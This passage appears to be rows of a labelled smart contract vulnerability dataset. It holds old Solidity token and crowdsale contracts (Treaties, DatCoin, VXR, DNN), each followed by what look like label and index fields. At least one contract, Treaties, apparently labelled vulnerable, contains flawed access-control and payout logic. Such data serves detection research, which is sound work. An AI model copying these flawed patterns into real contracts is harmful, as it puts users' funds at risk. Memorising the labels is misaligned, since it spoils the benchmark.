function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Treaties {
using SafeMath for uint;
SafeNetToken public token;
address public creator;
bool public creatorInited = false;
address public wallet;
uint public walletPercentage = 100;
address[] public owners;
address[] public teams;
address[] public investors;
mapping (address => bool) public inList;
uint public tokensInUse = 0;
mapping (address => uint) public refunds;
struct Request {
uint8 rType;
address beneficiary;
string treatyHash;
uint tokensAmount;
uint ethAmount;
uint percentage;
uint8 isConfirmed;
address[] ownersConfirm;
}
Request[] public requests;
modifier onlyOwner() {
for (uint i = 0; i < owners.length; i++) {
if (owners[i] == msg.sender) {
_;
}
}
}
event NewRequest(uint8 rType, address beneficiary, string treatyHash, uint tokensAmount, uint ethAmount, uint percentage, uint id);
event RequestConfirmed(uint id);
event RequestDeclined(uint id);
event RefundsCalculated();
function Treaties(address _wallet, SafeNetToken _token) public {
creator = msg.sender;
token = _token;
wallet = _wallet;
}
function() external payable {
splitProfit(msg.value);
}
function initCreator(uint _tokensAmount) public {
assert(msg.sender == creator && !creatorInited);
owners.push(creator);
assert(token.transfer(creator, _tokensAmount));
tokensInUse += _tokensAmount;
inList[creator] = true;
creatorInited = true;
}
function createTreatyRequest(uint8 _rType, string _treatyHash, uint _tokensAmount) public {
require(_rType <= 1);
requests.push(Request({
rType: _rType,
beneficiary: msg.sender,
treatyHash: _treatyHash,
tokensAmount: _tokensAmount,
ethAmount: 0,
percentage: 0,
isConfirmed: 0,
ownersConfirm: new address[](0)
}));
emit NewRequest(_rType, msg.sender, _treatyHash, _tokensAmount, 0, 0, requests.length - 1);
}
function createEthInvestorRequest(uint _tokensAmount) public payable {
assert(msg.value > 0);
requests.push(Request({
rType: 2,
beneficiary: msg.sender,
treatyHash: '',
tokensAmount: _tokensAmount,
ethAmount: msg.value,
percentage: 0,
isConfirmed: 0,
ownersConfirm: new address[](0)
}));
emit NewRequest(2, msg.sender, "", _tokensAmount, msg.value, 0, requests.length - 1);
}
function removeEthInvestorRequest(uint id) public {
require(id < requests.length);
assert(requests[id].isConfirmed == 0 && requests[id].rType == 2);
assert(requests[id].beneficiary == msg.sender);
requests[id].isConfirmed = 1;
assert(msg.sender.send(requests[id].ethAmount));
emit RequestDeclined(id);
}
function createFiatInvestorRequest(uint _tokensAmount) public {
requests.push(Request({
rType: 3,
beneficiary: msg.sender,
treatyHash: '',
tokensAmount: _tokensAmount,
ethAmount: 0,
percentage: 0,
isConfirmed: 0,
ownersConfirm: new address[](0)
}));
emit NewRequest(3, msg.sender, "", _tokensAmount, 0, 0, requests.length - 1);
}
function createPercentageRequest(uint _percentage) public onlyOwner {
require(_percentage <= 100);
requests.push(Request({
rType: 4,
beneficiary: msg.sender,
treatyHash: '',
tokensAmount: 0,
ethAmount: 0,
percentage: _percentage,
isConfirmed: 0,
ownersConfirm: new address[](0)
}));
emit NewRequest(4, msg.sender, "", 0, 0, _percentage, requests.length - 1);
}
function confirmRequest(uint id) public onlyOwner {
require(id < requests.length);
assert(requests[id].isConfirmed == 0);
uint tokensConfirmed = 0;
for (uint i = 0; i < requests[id].ownersConfirm.length; i++) {
assert(requests[id].ownersConfirm[i] != msg.sender);
tokensConfirmed += token.balanceOf(requests[id].ownersConfirm[i]);
}
requests[id].ownersConfirm.push(msg.sender);
tokensConfirmed += token.balanceOf(msg.sender);
uint tokensInOwners = 0;
for (i = 0; i < owners.length; i++) {
tokensInOwners += token.balanceOf(owners[i]);
}
if (tokensConfirmed > tokensInOwners / 2) {
if (requests[id].rType == 4) {
walletPercentage = requests[id].percentage;
} else {
if (!inList[requests[id].beneficiary]) {
if (requests[id].rType == 0) {
owners.push(requests[id].beneficiary);
token.transfer(creator, requests[id].tokensAmount / 10);
}
if (requests[id].rType == 1) {
teams.push(requests[id].beneficiary);
}
if (requests[id].rType == 2 || requests[id].rType == 3) {
investors.push(requests[id].beneficiary);
}
inList[requests[id].beneficiary] = true;
}
if (requests[id].rType == 2) {
assert(wallet.send(requests[id].ethAmount));
}
token.transfer(requests[id].beneficiary, requests[id].tokensAmount);
tokensInUse += requests[id].tokensAmount;
}
requests[id].isConfirmed = 2;
emit RequestConfirmed(id);
}
}
function rejectRequest(uint id) public onlyOwner {
require(id < requests.length);
assert(requests[id].isConfirmed == 0);
for (uint i = 0; i < requests[id].ownersConfirm.length; i++) {
if (requests[id].ownersConfirm[i] == msg.sender) {
requests[id].ownersConfirm[i] = requests[id].ownersConfirm[requests[id].ownersConfirm.length - 1];
requests[id].ownersConfirm.length--;
break;
}
}
}
function splitProfit(uint profit) internal {
uint rest = profit;
uint refund;
address addr;
for (uint i = 0; i < owners.length; i++) {
addr = owners[i];
refund = profit.mul(token.balanceOf(addr)).mul(100 - walletPercentage).div(100).div(tokensInUse);
refunds[addr] += refund;
rest -= refund;
}
for (i = 0; i < teams.length; i++) {
addr = teams[i];
refund = profit.mul(token.balanceOf(addr)).mul(100 - walletPercentage).div(100).div(tokensInUse);
refunds[addr] += refund;
rest -= refund;
}
for (i = 0; i < investors.length; i++) {
addr = investors[i];
refund = profit.mul(token.balanceOf(addr)).mul(100 - walletPercentage).div(100).div(tokensInUse);
refunds[addr] += refund;
rest -= refund;
}
assert(wallet.send(rest));
emit RefundsCalculated();
}
function withdrawRefunds() public {
assert(refunds[msg.sender] > 0);
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
assert(msg.sender.send(refund));
}
} | 1 | 4,170 |
pragma solidity ^0.4.11;
contract ERC20Interface {
function totalSupply() constant returns (uint256);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract DatCoin is ERC20Interface {
uint8 public constant decimals = 5;
string public constant symbol = "DTC";
string public constant name = "DatCoin";
uint public _totalSupply = 10 ** 14;
uint public _originalBuyPrice = 10 ** 10;
uint public _minimumBuyAmount = 10 ** 17;
uint public _thresholdOne = 9 * (10 ** 13);
uint public _thresholdTwo = 85 * (10 ** 12);
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
modifier thresholdTwo() {
if (msg.value < _minimumBuyAmount || balances[owner] <= _thresholdTwo) {
revert();
}
_;
}
function DatCoin() {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
function buy() payable thresholdTwo returns (uint256 amount) {
uint value = msg.value;
amount = value / _originalBuyPrice;
if (balances[owner] <= _thresholdOne + amount) {
uint temp = 0;
if (balances[owner] > _thresholdOne)
temp = balances[owner] - _thresholdOne;
amount = temp + (amount - temp) * 10 / 13;
if (balances[owner] < amount) {
temp = (amount - balances[owner]) * (_originalBuyPrice * 13 / 10);
msg.sender.transfer(temp);
amount = balances[owner];
value -= temp;
}
}
owner.transfer(value);
balances[msg.sender] += amount;
balances[owner] -= amount;
Transfer(owner, msg.sender, amount);
return amount;
}
function withdraw() onlyOwner returns (bool) {
return owner.send(this.balance);
}
} | 0 | 467 |
pragma solidity 0.4.22;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event FrozenFunds(address target, uint tokens);
event Buy(address indexed sender, uint eth, uint token);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract VXR is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) public balances;
mapping(address => uint) public lockInfo;
mapping(address => mapping(address => uint)) internal allowed;
mapping (address => bool) public admins;
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function setAdmin(address _admin, bool isAdmin) public onlyOwner {
admins[_admin] = isAdmin;
}
constructor() public{
symbol = 'VXR';
name = 'Versara Trade';
decimals = 18;
_totalSupply = 1000000000*10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(_value != 0);
require(balances[_from] >= _value);
require(balances[_from] - _value >= lockInfo[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
_transfer(msg.sender, to, tokens);
return true;
}
function approve(address _spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][_spender] = tokens;
emit Approval(msg.sender, _spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
require(allowed[from][msg.sender] >= tokens);
_transfer(from, to, tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
return true;
}
function allowance(address tokenOwner, address spender) public whenNotPaused view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function lockOf(address tokenOwner) public view returns (uint lockedToken) {
return lockInfo[tokenOwner];
}
function lock(address target, uint lockedToken) public whenNotPaused onlyAdmin {
lockInfo[target] = lockedToken;
emit FrozenFunds(target, lockedToken);
}
function batchLock(address[] accounts, uint lockedToken) public whenNotPaused onlyAdmin {
for (uint i = 0; i < accounts.length; i++) {
lock(accounts[i], lockedToken);
}
}
function batchLockArray(address[] accounts, uint[] lockedToken) public whenNotPaused onlyAdmin {
for (uint i = 0; i < accounts.length; i++) {
lock(accounts[i], lockedToken[i]);
}
}
function batchAirdropWithLock(address[] receivers, uint tokens, bool freeze) public whenNotPaused onlyAdmin {
for (uint i = 0; i < receivers.length; i++) {
sendTokensWithLock(receivers[i], tokens, freeze);
}
}
function batchVipWithLock(address[] receivers, uint[] tokens, bool freeze) public whenNotPaused onlyAdmin {
for (uint i = 0; i < receivers.length; i++) {
sendTokensWithLock(receivers[i], tokens[i], freeze);
}
}
function sendTokensWithLock (address receiver, uint tokens, bool freeze) public whenNotPaused onlyAdmin {
_transfer(msg.sender, receiver, tokens);
if(freeze) {
uint lockedAmount = lockInfo[receiver] + tokens;
lock(receiver, lockedAmount);
}
}
function sendInitialTokens (address user) public onlyOwner {
_transfer(msg.sender, user, balanceOf(owner));
}
} | 0 | 5 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DNNToken is StandardToken {
using SafeMath for uint256;
enum DNNSupplyAllocations {
EarlyBackerSupplyAllocation,
PRETDESupplyAllocation,
TDESupplyAllocation,
BountySupplyAllocation,
WriterAccountSupplyAllocation,
AdvisorySupplyAllocation,
PlatformSupplyAllocation
}
address public allocatorAddress;
address public crowdfundContract;
string constant public name = "DNN";
string constant public symbol = "DNN";
uint8 constant public decimals = 18;
address public cofounderA;
address public cofounderB;
address public platform;
uint256 public earlyBackerSupply;
uint256 public PRETDESupply;
uint256 public TDESupply;
uint256 public bountySupply;
uint256 public writerAccountSupply;
uint256 public advisorySupply;
uint256 public cofoundersSupply;
uint256 public platformSupply;
uint256 public earlyBackerSupplyRemaining;
uint256 public PRETDESupplyRemaining;
uint256 public TDESupplyRemaining;
uint256 public bountySupplyRemaining;
uint256 public writerAccountSupplyRemaining;
uint256 public advisorySupplyRemaining;
uint256 public cofoundersSupplyRemaining;
uint256 public platformSupplyRemaining;
uint256 public cofoundersSupplyVestingTranches = 10;
uint256 public cofoundersSupplyVestingTranchesIssued = 0;
uint256 public cofoundersSupplyVestingStartDate;
uint256 public cofoundersSupplyDistributed = 0;
bool public tokensLocked = true;
event Transfer(address indexed from, address indexed to, uint256 value);
modifier CofoundersTokensVested()
{
require (cofoundersSupplyVestingStartDate != 0 && (now-cofoundersSupplyVestingStartDate) >= 4 weeks);
uint256 currentTranche = now.sub(cofoundersSupplyVestingStartDate) / 4 weeks;
uint256 issuedTranches = cofoundersSupplyVestingTranchesIssued;
uint256 maxTranches = cofoundersSupplyVestingTranches;
require (issuedTranches != maxTranches && currentTranche > issuedTranches);
_;
}
modifier TokensUnlocked()
{
require (tokensLocked == false);
_;
}
modifier TokensLocked()
{
require (tokensLocked == true);
_;
}
modifier onlyCofounders()
{
require (msg.sender == cofounderA || msg.sender == cofounderB);
_;
}
modifier onlyCofounderA()
{
require (msg.sender == cofounderA);
_;
}
modifier onlyCofounderB()
{
require (msg.sender == cofounderB);
_;
}
modifier onlyAllocator()
{
require (msg.sender == allocatorAddress);
_;
}
modifier onlyCrowdfundContract()
{
require (msg.sender == crowdfundContract);
_;
}
modifier onlyAllocatorOrCrowdfundContractOrPlatform()
{
require (msg.sender == allocatorAddress || msg.sender == crowdfundContract || msg.sender == platform);
_;
}
function changePlatform(address newAddress)
onlyCofounders
{
platform = newAddress;
}
function changeCrowdfundContract(address newAddress)
onlyCofounders
{
crowdfundContract = newAddress;
}
function changeAllocator(address newAddress)
onlyCofounders
{
allocatorAddress = newAddress;
}
function changeCofounderA(address newAddress)
onlyCofounderA
{
cofounderA = newAddress;
}
function changeCofounderB(address newAddress)
onlyCofounderB
{
cofounderB = newAddress;
}
function transfer(address _to, uint256 _value)
TokensUnlocked
returns (bool)
{
Transfer(msg.sender, _to, _value);
return BasicToken.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
TokensUnlocked
returns (bool)
{
Transfer(_from, _to, _value);
return StandardToken.transferFrom(_from, _to, _value);
}
function issueCofoundersTokensIfPossible()
onlyCofounders
CofoundersTokensVested
returns (bool)
{
uint256 tokenCount = cofoundersSupply.div(cofoundersSupplyVestingTranches);
if (tokenCount > cofoundersSupplyRemaining) {
return false;
}
cofoundersSupplyRemaining = cofoundersSupplyRemaining.sub(tokenCount);
cofoundersSupplyDistributed = cofoundersSupplyDistributed.add(tokenCount);
balances[cofounderA] = balances[cofounderA].add(tokenCount.div(2));
balances[cofounderB] = balances[cofounderB].add(tokenCount.div(2));
cofoundersSupplyVestingTranchesIssued += 1;
return true;
}
function issueTokens(address beneficiary, uint256 tokenCount, DNNSupplyAllocations allocationType)
onlyAllocatorOrCrowdfundContractOrPlatform
returns (bool)
{
bool canAllocatorPerform = msg.sender == allocatorAddress;
bool canCrowdfundContractPerform = msg.sender == crowdfundContract;
bool canPlatformPerform = msg.sender == platform;
if (canAllocatorPerform && allocationType == DNNSupplyAllocations.EarlyBackerSupplyAllocation && tokenCount <= earlyBackerSupplyRemaining) {
earlyBackerSupplyRemaining = earlyBackerSupplyRemaining.sub(tokenCount);
}
else if (canCrowdfundContractPerform && msg.sender == crowdfundContract && allocationType == DNNSupplyAllocations.PRETDESupplyAllocation) {
if (PRETDESupplyRemaining >= tokenCount) {
PRETDESupplyRemaining = PRETDESupplyRemaining.sub(tokenCount);
}
else if (PRETDESupplyRemaining+TDESupplyRemaining >= tokenCount) {
TDESupplyRemaining = TDESupplyRemaining.sub(tokenCount-PRETDESupplyRemaining);
PRETDESupplyRemaining = 0;
}
else {
return false;
}
}
else if (canCrowdfundContractPerform && allocationType == DNNSupplyAllocations.TDESupplyAllocation && tokenCount <= TDESupplyRemaining) {
TDESupplyRemaining = TDESupplyRemaining.sub(tokenCount);
}
else if (canAllocatorPerform && allocationType == DNNSupplyAllocations.BountySupplyAllocation && tokenCount <= bountySupplyRemaining) {
bountySupplyRemaining = bountySupplyRemaining.sub(tokenCount);
}
else if (canAllocatorPerform && allocationType == DNNSupplyAllocations.WriterAccountSupplyAllocation && tokenCount <= writerAccountSupplyRemaining) {
writerAccountSupplyRemaining = writerAccountSupplyRemaining.sub(tokenCount);
}
else if (canAllocatorPerform && allocationType == DNNSupplyAllocations.AdvisorySupplyAllocation && tokenCount <= advisorySupplyRemaining) {
advisorySupplyRemaining = advisorySupplyRemaining.sub(tokenCount);
}
else if (canPlatformPerform && allocationType == DNNSupplyAllocations.PlatformSupplyAllocation && tokenCount <= platformSupplyRemaining) {
platformSupplyRemaining = platformSupplyRemaining.sub(tokenCount);
}
else {
return false;
}
Transfer(address(this), beneficiary, tokenCount);
balances[beneficiary] = balances[beneficiary].add(tokenCount);
return true;
}
function sendUnsoldTDETokensToPlatform()
external
onlyCrowdfundContract
{
if (TDESupplyRemaining > 0) {
platformSupplyRemaining = platformSupplyRemaining.add(TDESupplyRemaining);
TDESupplyRemaining = 0;
}
}
function sendUnsoldPRETDETokensToTDE()
external
onlyCrowdfundContract
{
if (PRETDESupplyRemaining > 0) {
TDESupplyRemaining = TDESupplyRemaining.add(PRETDESupplyRemaining);
PRETDESupplyRemaining = 0;
}
}
function unlockTokens()
external
onlyCrowdfundContract
{
require(tokensLocked == true);
tokensLocked = false;
}
function DNNToken()
{
uint256 vestingStartDate = 1526072145;
cofounderA = 0x3Cf26a9FE33C219dB87c2e50572e50803eFb2981;
cofounderB = 0x9FFE2aD5D76954C7C25be0cEE30795279c4Cab9f;
platform = address(this);
totalSupply = uint256(1000000000).mul(uint256(10)**decimals);
earlyBackerSupply = totalSupply.mul(10).div(100);
PRETDESupply = totalSupply.mul(10).div(100);
TDESupply = totalSupply.mul(40).div(100);
bountySupply = totalSupply.mul(1).div(100);
writerAccountSupply = totalSupply.mul(4).div(100);
advisorySupply = totalSupply.mul(14).div(100);
cofoundersSupply = totalSupply.mul(10).div(100);
platformSupply = totalSupply.mul(11).div(100);
earlyBackerSupplyRemaining = earlyBackerSupply;
PRETDESupplyRemaining = PRETDESupply;
TDESupplyRemaining = TDESupply;
bountySupplyRemaining = bountySupply;
writerAccountSupplyRemaining = writerAccountSupply;
advisorySupplyRemaining = advisorySupply;
cofoundersSupplyRemaining = cofoundersSupply;
platformSupplyRemaining = platformSupply;
cofoundersSupplyVestingStartDate = vestingStartDate >= now ? vestingStartDate : now;
}
}
contract DNNTDE {
using SafeMath for uint256;
DNNToken public dnnToken;
address public cofounderA;
address public cofounderB;
address public dnnHoldingMultisig;
uint256 public TDEStartDate;
uint256 public TDEEndDate;
uint256 public tokenExchangeRateBase = 3000;
uint256 public tokensDistributed = 0;
uint256 public minimumTDEContributionInWei = 0.001 ether;
uint256 public minimumPRETDEContributionInWei = 5 ether;
uint256 public maximumFundingGoalInETH;
uint256 public fundsRaisedInWei = 0;
uint256 public presaleFundsRaisedInWei = 0;
uint256 public tdeFundsRaisedInWei = 0;
mapping(address => uint256) ETHContributions;
mapping(address => uint256) ETHContributorTokens;
mapping(address => uint256) PRETDEContributorTokensPendingRelease;
uint256 PRETDEContributorsTokensPendingCount = 0;
uint256 TokensPurchasedDuringPRETDE = 0;
bool public trickleDownBonusesReleased = false;
uint256 public rangeETHAmount = 0;
uint256 public bonusRangeCount = 4;
uint256 public TDEContributorCount = 0;
mapping(uint256 => address) public TDEContributorAddresses;
mapping(address => uint256) public TDEContributorInitialBonusByAddress;
uint256 public tokensIssuedForBonusRangeOne = 0;
uint256 public tokensIssuedForBonusRangeTwo = 0;
uint256 public tokensIssuedForBonusRangeThree = 0;
uint256 public tokensIssuedForBonusRangeFour = 0;
modifier HasTrickleDownBonusesNotBeenReleased() {
require (trickleDownBonusesReleased == false);
_;
}
modifier NoPRETDEContributorsAwaitingTokens() {
require(PRETDEContributorsTokensPendingCount == 0);
_;
}
modifier PRETDEContributorsAwaitingTokens() {
require(PRETDEContributorsTokensPendingCount > 0);
_;
}
modifier onlyCofounders() {
require (msg.sender == cofounderA || msg.sender == cofounderB);
_;
}
modifier onlyCofounderA() {
require (msg.sender == cofounderA);
_;
}
modifier onlyCofounderB() {
require (msg.sender == cofounderB);
_;
}
modifier TDEHasEnded() {
require (now >= TDEEndDate || fundsRaisedInWei >= maximumFundingGoalInETH);
_;
}
modifier ContributionIsAtLeastMinimum() {
require (msg.value >= minimumTDEContributionInWei);
_;
}
modifier ContributionDoesNotCauseGoalExceedance() {
uint256 newFundsRaised = msg.value+fundsRaisedInWei;
require (newFundsRaised <= maximumFundingGoalInETH);
_;
}
modifier TDEBonusesDoesNotCauseTokenExceedance() {
uint256 tokensDistributedPlusBonuses = getTokensDistributedPlusTrickleDownBonuses();
require (tokensDistributedPlusBonuses < dnnToken.TDESupplyRemaining());
_;
}
modifier HasPendingPRETDETokens(address _contributor) {
require (PRETDEContributorTokensPendingRelease[_contributor] != 0);
_;
}
modifier IsNotAwaitingPRETDETokens(address _contributor) {
require (PRETDEContributorTokensPendingRelease[_contributor] == 0);
_;
}
function changeCofounderA(address newAddress)
onlyCofounderA
{
cofounderA = newAddress;
}
function changeCofounderB(address newAddress)
onlyCofounderB
{
cofounderB = newAddress;
}
function getTokensDistributedPlusTrickleDownBonuses()
constant
returns (uint256)
{
return tokensIssuedForBonusRangeOne.mul(220).div(100) + tokensIssuedForBonusRangeTwo.mul(190).div(100) + tokensIssuedForBonusRangeThree.mul(150).div(100) + tokensIssuedForBonusRangeFour.mul(100).div(100);
}
function extendTDE(uint256 endDate)
onlyCofounders
returns (bool)
{
if (endDate > now && endDate > TDEEndDate) {
TDEEndDate = endDate;
return true;
}
return false;
}
function extendPRETDE(uint256 startDate)
onlyCofounders
returns (bool)
{
if (startDate > now && startDate > TDEStartDate) {
TDEEndDate = TDEEndDate + (startDate-TDEStartDate);
TDEStartDate = startDate;
return true;
}
return false;
}
function changeDNNHoldingMultisig(address newAddress)
onlyCofounders
{
dnnHoldingMultisig = newAddress;
}
function contributorETHBalance(address _owner)
constant
returns (uint256 balance)
{
return ETHContributions[_owner];
}
function isAwaitingPRETDETokens(address _contributorAddress)
internal
returns (bool)
{
return PRETDEContributorTokensPendingRelease[_contributorAddress] > 0;
}
function getPendingPresaleTokens(address _contributor)
constant
returns (uint256)
{
return PRETDEContributorTokensPendingRelease[_contributor];
}
function getCurrentTDEBonus()
constant
returns (uint256)
{
return getTDETokenExchangeRate(now);
}
function getCurrentPRETDEBonus()
constant
returns (uint256)
{
return getPRETDETokenExchangeRate(now);
}
function getTDETokenExchangeRate(uint256 timestamp)
constant
returns (uint256)
{
if (timestamp > TDEEndDate) {
return uint256(0);
}
if (TDEStartDate > timestamp) {
return uint256(0);
}
if (tdeFundsRaisedInWei <= rangeETHAmount) {
return tokenExchangeRateBase.mul(120).div(100);
}
else if (tdeFundsRaisedInWei > rangeETHAmount && tdeFundsRaisedInWei <= rangeETHAmount.mul(2)) {
return tokenExchangeRateBase.mul(130).div(100);
}
else if (tdeFundsRaisedInWei > rangeETHAmount.mul(2) && tdeFundsRaisedInWei <= rangeETHAmount.mul(3)) {
return tokenExchangeRateBase.mul(140).div(100);
}
else if (tdeFundsRaisedInWei > rangeETHAmount.mul(3) && tdeFundsRaisedInWei <= maximumFundingGoalInETH) {
return tokenExchangeRateBase.mul(150).div(100);
}
else {
return tokenExchangeRateBase;
}
}
function getPRETDETokenExchangeRate(uint256 weiamount)
constant
returns (uint256)
{
if (weiamount < minimumPRETDEContributionInWei) {
return uint256(0);
}
if (weiamount >= minimumPRETDEContributionInWei && weiamount <= 199 ether) {
return tokenExchangeRateBase + tokenExchangeRateBase.mul(25).div(100);
} else if (weiamount >= 200 ether && weiamount <= 300 ether) {
return tokenExchangeRateBase + tokenExchangeRateBase.mul(30).div(100);
} else if (weiamount >= 301 ether && weiamount <= 2665 ether) {
return tokenExchangeRateBase + tokenExchangeRateBase.mul(35).div(100);
} else {
return tokenExchangeRateBase + tokenExchangeRateBase.mul(50).div(100);
}
}
function calculateTokens(uint256 weiamount, uint256 timestamp)
constant
returns (uint256)
{
uint256 computedTokensForPurchase = weiamount.mul(timestamp >= TDEStartDate ? getTDETokenExchangeRate(timestamp) : getPRETDETokenExchangeRate(weiamount));
return computedTokensForPurchase;
}
function buyTokens()
internal
ContributionIsAtLeastMinimum
ContributionDoesNotCauseGoalExceedance
TDEBonusesDoesNotCauseTokenExceedance
returns (bool)
{
uint256 tokenCount = calculateTokens(msg.value, now);
if (tdeFundsRaisedInWei > rangeETHAmount.mul(3) && tdeFundsRaisedInWei <= maximumFundingGoalInETH) {
if (TDEContributorInitialBonusByAddress[msg.sender] == 0) {
TDEContributorInitialBonusByAddress[msg.sender] = tdeFundsRaisedInWei;
TDEContributorAddresses[TDEContributorCount] = msg.sender;
TDEContributorCount++;
}
}
else if (tdeFundsRaisedInWei > rangeETHAmount.mul(2) && tdeFundsRaisedInWei <= rangeETHAmount.mul(3)) {
if (TDEContributorInitialBonusByAddress[msg.sender] == 0) {
TDEContributorInitialBonusByAddress[msg.sender] = rangeETHAmount.mul(3);
TDEContributorAddresses[TDEContributorCount] = msg.sender;
TDEContributorCount++;
}
}
else if (tdeFundsRaisedInWei > rangeETHAmount && tdeFundsRaisedInWei <= rangeETHAmount.mul(2)) {
if (TDEContributorInitialBonusByAddress[msg.sender] == 0) {
TDEContributorInitialBonusByAddress[msg.sender] = rangeETHAmount.mul(2);
TDEContributorAddresses[TDEContributorCount] = msg.sender;
TDEContributorCount++;
}
}
else if (tdeFundsRaisedInWei <= rangeETHAmount) {
